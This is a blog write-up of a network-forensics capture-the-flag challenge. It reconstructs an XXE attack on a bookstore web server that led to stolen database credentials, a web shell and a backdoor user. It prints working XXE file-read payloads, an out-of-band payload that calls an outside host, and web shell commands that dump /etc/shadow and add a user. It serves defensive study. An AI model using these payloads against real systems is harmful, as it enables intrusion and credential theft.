Post

Incident Response Report: XXE Infiltration — XML External Entity Injection, Credential Theft & Web Shell Deployment

Incident Response Report: XXE Infiltration — XML External Entity Injection, Credential Theft & Web Shell Deployment

Platform: CyberDefenders
Challenge: XXE Infiltration
Category: Network Forensics / Incident Response
Difficulty: Easy
Classification: Confidential
Tools: Wireshark, Brim
Achievement: Proof of Completion

1. Executive Summary

Incident Type: Web Server Compromise / XXE Injection / Credential Theft / Web Shell Deployment

Analyst: Lead SOC Analyst / Threat Hunter

An automated alert detected unusual XML data being processed by the server at pageturner4books.net, suggesting a potential XXE (XML External Entity) Injection attack. A full network packet capture (XXEInfiltration.pcap) was analyzed to reconstruct the complete attack chain.

The investigation revealed that an external threat actor (210.106.114.183) performed a port scan identifying an exposed MySQL port (3306), then exploited an XXE vulnerability in /review/upload.php by uploading malicious XML files disguised as classic novels. Through systematic file enumeration, the attacker read config.php and stole database credentials (webuser / Winter2024). After authenticating to MySQL with the stolen credentials, the attacker deployed a web shell (booking.php), performed system reconnaissance, dumped /etc/shadow, and created a backdoor user account (brown) for persistent access.

Indicators of Compromise (IOCs)

TypeIndicatorDescription
Attacker IP210.106.114.183External threat actor IP.
Victim IP50.239.151.185Compromised pageturner4books.net Apache Server.
Vulnerable Endpoint/review/upload.phpPHP script vulnerable to XXE injection.
Malicious FilesTheGreatGatsby.xml, 1984.xml, ToKillaMockingbird.xml, PrideandPrejudice.xmlXML payloads disguised as book reviews.
Web Shellbooking.phpPHP web shell uploaded to /uploads/.
Stolen Credentialswebuser:Winter2024Database credentials extracted from config.php.
Backdoor AccountbrownUser account created via useradd for persistence.
Exposed Port3306 (MySQL)Database port publicly accessible.

MITRE ATT&CK Mapping Overview

TacticTechniqueID
ReconnaissanceNetwork Service DiscoveryT1046
Initial AccessExploit Public-Facing ApplicationT1190
Defense EvasionMasqueradingT1036
Credential AccessCredentials in FilesT1552.001
Lateral MovementValid AccountsT1078
DiscoverySystem Owner/User DiscoveryT1033
Credential AccessOS Credential DumpingT1003
PersistenceServer Software Component: Web ShellT1505.003
PersistenceCreate AccountT1136

2. Phase 1: Reconnaissance — Port Scanning & Service Discovery

Objective: Identify the attacker’s initial reconnaissance activity and exposed services.

Protocol Hierarchy Analysis

Opening Statistics → Protocol Hierarchy revealed the composition of the captured traffic:

  • 73.1% HTTP — the bulk of the attack surface
  • MySQL Protocol — database traffic confirming port 3306 was reached
  • XML (eXtensible Markup Language) — XXE payloads in transit
  • MIME Multipart — file uploads
  • TLS — some encrypted traffic

Wireshark Protocol Hierarchy Statistics for XXEInfiltration.pcap showing 73.1% HTTP, MySQL protocol traffic, XML, and MIME Multipart.

IPv4 Conversations

Statistics → Conversations → IPv4 showed only two IP addresses in the entire capture — the attacker (210.106.114.183) and the victim (50.239.151.185), with 88,577 total packets and 24 MB of data exchanged.

Wireshark Conversations tab showing a single IPv4 conversation between attacker 210.106.114.183 and victim 50.239.151.185.

TCP Endpoint Analysis — Identifying Open Ports

Navigating to Statistics → Endpoints → TCP tab revealed 10,444 unique TCP conversations — a massive number indicative of a port scan. Sorting by packet count identified the open ports:

PortServicePackets
80HTTP68,309
3306MySQL234

Port 3306 is the default MySQL port. Its exposure to the internet is a critical misconfiguration — database servers should never be publicly accessible.

Wireshark TCP Endpoints tab showing port 80 (HTTP) and port 3306 (MySQL) as open services, with MySQL highlighted.

MITRE ATT&CK Reference:
The 10,444 TCP conversations map to T1046 — Network Service Scanning. The attacker systematically probed the victim’s ports to identify exposed services.


3. Phase 2: Initial Access — XXE Injection via XML Upload

Objective: Analyze the XXE payloads and trace the attacker’s file enumeration strategy.

Identifying the Attack Vector

Filtering for POST requests revealed the attacker’s interaction with the application:

1
http.request.method == "POST"

This surfaced several POST requests, with five targeting /review/upload.php — the vulnerable XML upload endpoint.

Wireshark filtered for POST requests showing submissions toreview/upload.php alongside earlier reconnaissance POST requests.

First XXE Payload: TheGreatGatsby.xml

Following the HTTP stream of the first upload (packet 88306, timestamp 11:55:09) revealed the initial attack payload:

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>

The file was uploaded as TheGreatGatsby.xml — the first of several XML files named after classic novels, likely to blend in with a book review platform and evade casual inspection.

The server responded with HTTP/1.1 200 OK but Content-Length: 0 — meaning the parser processed the file but did not reflect the output directly.

Wireshark HTTP stream showing the TheGreatGatsby.xml upload with the XXE payload targetingetc/passwd and the server's 200 OK response.

What is XXE Injection?

XML External Entity (XXE) Injection is a vulnerability that targets applications parsing XML input. XML supports a feature called entities — essentially variables that can reference external resources. A malicious actor can abuse this to make the server read local files by defining an entity that references file:///path/to/file and then including that entity in the XML body.

MITRE ATT&CK Reference:
This attack leverages T1190 — Exploit Public-Facing Application (exploiting the XXE vulnerability in upload.php). The naming of XML files after classic novels maps to T1036 — Masquerading (defense evasion through legitimate-looking filenames).


4. Phase 3: Credential Access — Systematic File Enumeration

Objective: Trace the attacker’s file reading progression and identify the stolen credentials.

XML Payload Progression

Stepping through each POST request to /review/upload.php chronologically revealed the attacker’s systematic file enumeration:

XML FilenameTarget FilePurpose
TheGreatGatsby.xmlfile:///etc/passwdInitial probe
1984.xmlfile:///var/www/html/index.phpApplication mapping
ToKillaMockingbird.xmlfile:///var/www/html/config.phpCredential theft
PrideandPrejudice.xmlOut-of-band exfiltrationAdvanced data extraction

Second Payload: 1984.xml — Application Mapping

The second XML payload targeted index.php to understand the application structure:

Wireshark packet details showing the 1984.xml upload with XXE entity targeting file:///var/www/html/index.php.

Third Payload: ToKillaMockingbird.xml — config.php Leak

The third payload targeted config.php — the critical configuration file:

Wireshark packet details showing the ToKillaMockingbird.xml upload with XXE entity targeting file:///var/www/html/config.php.

Following the HTTP stream for this request (timestamp 12:03:12) showed the server echoing back the full contents of config.php:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$db_host = 'localhost';
$db_name = 'pageturner';
$db_user = 'webuser';
$db_pass = 'Winter2024';

$conn = new mysqli($db_host, $db_user, $db_pass, $db_name);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
?>

The complete database credentials were now in the attacker’s hands.

Wireshark HTTP stream showing the config.php file contents leaked via XXE — database credentials webuser/Winter2024 fully exposed.

Fourth Payload: PrideandPrejudice.xml — Out-of-Band XXE

The final XML upload used a more sophisticated technique — Out-of-Band XXE with PHP filters:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY % payload SYSTEM "http://203.0.113.15/booking.php">
  <!ENTITY % internals "<!ENTITY file SYSTEM
    'php://filter/read=convert.base64-encode/resource=%payload;'>">
]>
<foo>&file;</foo>

This technique bypassed the earlier Content-Length: 0 limitation by routing the stolen data out-of-band rather than in the HTTP response. The php://filter/read=convert.base64-encode wrapper reads and base64-encodes files to bypass content restrictions.

Wireshark packet details showing the PrideandPrejudice.xml upload with out-of-band XXE payload referencing the attacker's server at 203.0.113.15.

MITRE ATT&CK Reference:
This phase maps to T1552.001 — Credentials in Files (reading database credentials from config.php via XXE injection).


5. Phase 4: Lateral Movement — MySQL Access with Stolen Credentials

Objective: Confirm the attacker’s database access using the stolen credentials.

MySQL Traffic Analysis

Filtering for MySQL traffic confirmed the presence of database connections:

1
mysql

The results showed several MySQL interactions. The key was correlating timing with the credential theft:

TimeEvent
11:47:xxEarly MySQL probes — user= empty (blind scans before credentials)
12:03:12config.php read — credentials stolen
12:08:49First MySQL login after credential theft

The 5-minute gap between credential theft (12:03) and first authenticated login (12:08) represents the attacker processing the stolen data and establishing a direct database connection.

Wireshark filtered for MySQL protocol traffic showing port scan probes with empty usernames, followed by authenticated login attempts after credential theft.

Analyst Note:
MySQL traffic is transmitted using a binary protocol, which is why following the TCP stream shows non-readable data — unlike HTTP which is plain text. Wireshark’s protocol dissector is required to interpret it.

MITRE ATT&CK Reference:
This phase maps to T1078 — Valid Accounts (using legitimate database credentials stolen from the configuration file to authenticate to MySQL).


6. Phase 5: Persistence — Web Shell Deployment & Backdoor Account

Objective: Analyze the attacker’s post-exploitation actions and persistence mechanisms.

Web Shell: booking.php

Filtering for GET requests after the MySQL login revealed a series of requests to /uploads/booking.php with ?cmd= parameters — the unmistakable signature of a web shell:

1
2
3
4
5
6
GET /uploads/booking.php?cmd=whoami
GET /uploads/booking.php?cmd=uname%20-a
GET /uploads/booking.php?cmd=sudo%20-l
GET /uploads/booking.php?cmd=cat%20/etc/shadow
GET /uploads/booking.php?cmd=cat%20/etc/passwd
GET /uploads/booking.php?cmd=useradd%20-m%20-s%20/bin/bash%20brown

Wireshark showing GET requests touploads/booking.php with cmd parameters — whoami, uname, sudo, catetc/shadow, and useradd to create backdoor user brown.

Attacker’s Post-Exploitation Playbook

CommandMITRE TechniquePurpose
whoamiT1033 — System Owner DiscoveryIdentify running user context
uname -aT1082 — System Information DiscoveryOS and kernel fingerprinting
sudo -lT1069 — Permission Groups DiscoveryCheck for privilege escalation paths
cat /etc/shadowT1003 — OS Credential DumpingSteal hashed system passwords
cat /etc/passwdT1087 — Account DiscoveryEnumerate all system users
useradd -m -s /bin/bash brownT1136 — Create AccountBackdoor user for persistent access

Analyst Note:
The web shell was named booking.php — a name that would appear legitimate on a bookstore platform. The earlier out-of-band XXE payload already referenced booking.php on the attacker’s server (203.0.113.15/booking.php), suggesting the attacker used the same filename intentionally to blend web shell traffic into legitimate-looking patterns.

MITRE ATT&CK Reference:
This phase maps to T1505.003 — Server Software Component: Web Shell (deploying booking.php as a persistent backdoor) and T1136 — Create Account (creating the brown user for persistent access independent of the web shell).


7. Full Attack Timeline

Based on packet timestamps, the complete attack was reconstructed:

Time (UTC)Kill Chain PhaseActivityTool
11:47ReconnaissancePort scan begins — MySQL port 3306 probed (no credentials)Scanner
11:55Initial AccessFirst XXE payload — TheGreatGatsby.xml/etc/passwdBrowser
11:57Initial AccessSecond XXE payload — 1984.xml/var/www/html/index.phpBrowser
12:00Initial AccessThird XXE payload — ToKillaMockingbird.xmlconfig.phpBrowser
12:03Credential Accessconfig.php contents returned — credentials stolen
12:08Lateral MovementFirst authenticated MySQL login using stolen credentialsMySQL Client
12:15Defense EvasionOut-of-band XXE — PrideandPrejudice.xml (web shell delivery)Browser
12:16Lateral MovementSecond MySQL login attemptMySQL Client
12:19ExecutionWeb shell confirmed active — booking.php?cmd=whoamiWeb Shell
12:21DiscoverySystem reconnaissance — uname -a, sudo -l, /etc/shadowWeb Shell
12:29PersistenceBackdoor user brown created via useraddWeb Shell

8. Remediation & Mitigation Recommendations

Based on the findings, the following remediation steps should be prioritized:

Immediate Actions

  • Take the web server offline and preserve forensic evidence
  • Remove the booking.php web shell from /uploads/
  • Delete the backdoor user account brown
  • Rotate all database credentials immediately
  • Check all system accounts in /etc/shadow for unauthorized changes

Short-Term Fixes

  • Disable XML External Entities — The root cause of this attack. In PHP: libxml_disable_entity_loader(true);
  • Firewall MySQL port 3306 — Database servers should never be publicly accessible. Restrict to localhost or trusted internal networks only.
  • Restrict file upload directories — The /uploads/ directory should never be executable. Disable PHP execution in Apache: php_flag engine off.
  • Remove credentials from config files — Use environment variables or a secrets manager instead of hardcoding credentials in config.php.

Long-Term Hardening

  • Implement Web Application Firewall (WAF) rules targeting <!ENTITY, SYSTEM, and file:// patterns in POST bodies
  • Monitor for anomalous outbound connections — the OOB XXE caused the victim server to initiate a connection to 203.0.113.15
  • Conduct regular penetration testing on all public-facing file upload endpoints
  • Implement egress filtering to block unexpected outbound connections from web servers

9. Conclusion

The XXE Infiltration analysis demonstrates a complete, multi-phase web server compromise from XML injection to persistent backdoor. Key findings include:

  1. Reconnaissance: A port scan identified MySQL port 3306 publicly exposed — a critical misconfiguration that enabled direct database access after credential theft.

  2. Initial Access: The attacker exploited an XXE vulnerability in /review/upload.php using XML files named after classic novels (TheGreatGatsby.xml, 1984.xml, ToKillaMockingbird.xml, PrideandPrejudice.xml) to systematically read server files.

  3. Credential Theft: Database credentials (webuser / Winter2024) were extracted from config.php via XXE, enabling direct MySQL authentication 5 minutes later.

  4. Persistence: A web shell (booking.php) was deployed, enabling full command execution. The attacker performed reconnaissance (whoami, uname -a), dumped /etc/shadow, and created a backdoor user (brown) for persistent access.

  5. Impact: Complete database access, system-level credential exposure, persistent backdoor access via both web shell and OS account.

Key Takeaways for the SOC:

  1. XXE Prevention: Disable external entity processing in all XML parsers — XXE is entirely preventable with a single configuration change.
  2. Network Segmentation: Never expose database ports to the internet. MySQL should only be accessible from trusted internal networks.
  3. Credential Management: Store database credentials in environment variables, not plaintext config files accessible through the web root.
  4. Upload Security: Disable script execution in upload directories and implement strict file type validation.

Analysis Date: March 22, 2026
Analyst: El OMARI Zakaria

This post is licensed under CC BY 4.0 by the author.